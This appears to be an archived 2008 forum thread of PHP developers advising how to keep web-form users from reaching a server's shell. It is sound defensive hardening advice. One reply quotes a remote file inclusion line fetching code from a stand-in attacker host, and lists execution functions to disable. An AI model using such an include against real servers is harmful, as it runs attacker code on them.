my greatest security fear - am I too worried?

[firewoodtim]

I have a set of php scripts that make it possible for a client to
build and update his/her own website. It is a bit like a CMS on
steroids. the client has access to forms, but does not have access to
the command line on the web server. I've implemented a number of
security features - filtering input, escaping output - but I can't get
a nagging fear out of my mind that someone will be able to find a hole
and ---- WORST FEAR COMING!!! ----

--- gain access to the website Linux/Bash command line!

I've had two coding professionals tell me that the only way that could
happen is if PHP had a bug that would allow someone to penetrate into
the server RAM and prowl around in memory. If that is the only way,
then I would be greatly relieved, in a way, because it would be
completely beyond my control via my php scripts. The admin would have
to keep php updated, but that is routine anyway.

On the other hand, if I have to safeguard against that kind of
intrusion with the right php coding practices, then I need to know the
specific safeguards that will prevent this worst of all kinds of
intrusions.

Would someone please comment on this issue and steer me in the right
direction?

[larry]

Put it up on a test server with dummy data, try to hack your own
code. That would be a good start.

If you have done your homework on HTML, PHP and MySQL code injection,
and properly filtering any GET, POST, COOKIE and preventing
unauthorized page access, you're probably a long way already (sounds
like you have enough paranoia that you have already covered the
popular pitfalls).

If it is something you are not 'sure' is possible, then start by
looking up how to implement it intentionally (i.e. shell access from a
web page) and make sure you prevent it in your code.

If PHP had attained shell access it would be as Apache (www-data' or
whatever or your virtual host user account; depends on hosting), not
root.

In general in programming there are some things you can control (what
comes into the server through your script) and there are some you just
can't (undocumented webserver exploits, users accessing using infected
computers with keyloggers or screen scrapers.) Don't worry too much
about the stuff you can't (except inform your clients to do thier
safeguarding work) and the stuff you don't know. I find reading the
PHP RSS feeds and groups and Slashdot (really!) keeps me informed of
important issues.

The best prevention is doing what you can, patch as necessary and, by
all means, keeping regular backups.

[=?ISO-8859-15?Q?Iv=E1n_S=E1nchez_Ortega?=]

firewoodtim wrote:

[...]

--- gain access to the website Linux/Bash command line!

I've had two coding professionals tell me that the only way that could
happen is if PHP had a bug that would allow someone to penetrate into
the server RAM and prowl around in memory.

Nope. There are soem other ways to execute arbitrary code, and those include
scenarios where the user is able to upload content to the site. Code
injection is so much easier than exploiting a buffer overflow, especially
in (some) badly programmed apps.

Rule of thumb is to treat all user input as garbage. Never ever trust it.
You done that? Good.
Anyway, if you're really worried, grab a hold on those:
http://en.wikipedia.org/wiki/List_of...urity_Scanners

It might be worth doing some passes with some tools, if even to make you see
that there are other concerns besides code injection.
Cheers,
--
----------------------------------
Iván Sánchez Ortega -ivansanchez-algarroba-escomposlinux-punto-org-

Un ordenador no es un televisor ni un microondas, es una herramienta
compleja.

[C. (http://symcbean.blogspot.com/)]

On 18 May, 20:49, firewoodtim <[e-mail]:

I have a set of php scripts that make it possible for a client to
build and update his/her own website. It is a bit like a CMS on
steroids. the client has access to forms, but does not have access to
the command line on the web server. I've implemented a number of
security features - filtering input, escaping output - but I can't get
a nagging fear out of my mind that someone will be able to find a hole
and ---- WORST FEAR COMING!!! ----

--- gain access to the website Linux/Bash command line!

I've had two coding professionals tell me that the only way that could
happen is if PHP had a bug that would allow someone to penetrate into
the server RAM and prowl around in memory. If that is the only way,
then I would be greatly relieved, in a way, because it would be
completely beyond my control via my php scripts. The admin would have
to keep php updated, but that is routine anyway.

On the other hand, if I have to safeguard against that kind of
intrusion with the right php coding practices, then I need to know the
specific safeguards that will prevent this worst of all kinds of
intrusions.

Would someone please comment on this issue and steer me in the right
direction?

You should definitely perform deep validation on any data supplied by
the user - e.g. don't just use 'file' or magic numbers to confirm the
data type of a image - convert it to a different (lossless) format and
back again.

Disable file wrappers (to prevent include("http://hackers-r-us.com/
dodgy.txt")), disable (using disable_function ini setting) eval and
create_function and all the program execution functions (popen, exec,
system, shell_exec...) and make sure all your PHP source and dirs are
readable but not writeable by the webserver uid. Liberal use of
open_basedir in htaccess files is also recommended if you can't
disable all local file access.

Limit the max post size on the webserver. If you're using apache -
install mod_security and set it up appropriately.

Consider installing suhosin.

At the end of the day the biggest security hole is likely to be your
own code - the best way to address this is to write your code well and
get it checked.

C.

[AnrDaemon]

Greetings, C. (http://symcbean.blogspot.com/).
In reply to Your message dated Monday, May 19, 2008, 18:24:18,

Liberal use of open_basedir in htaccess files is also recommended if you
can't disable all local file access.

open_basedir is not acceptable in .htaccess, it is PHP_INI_SYSTEM
It must be set in server config or in php.ini, depends on the mode you're
running it in.
Other than that, it is a perfect way to have your execution environment
isolated from your system and it must be defined for webserver.
--
Sincerely Yours, AnrDaemon <an*******@freemail.ru>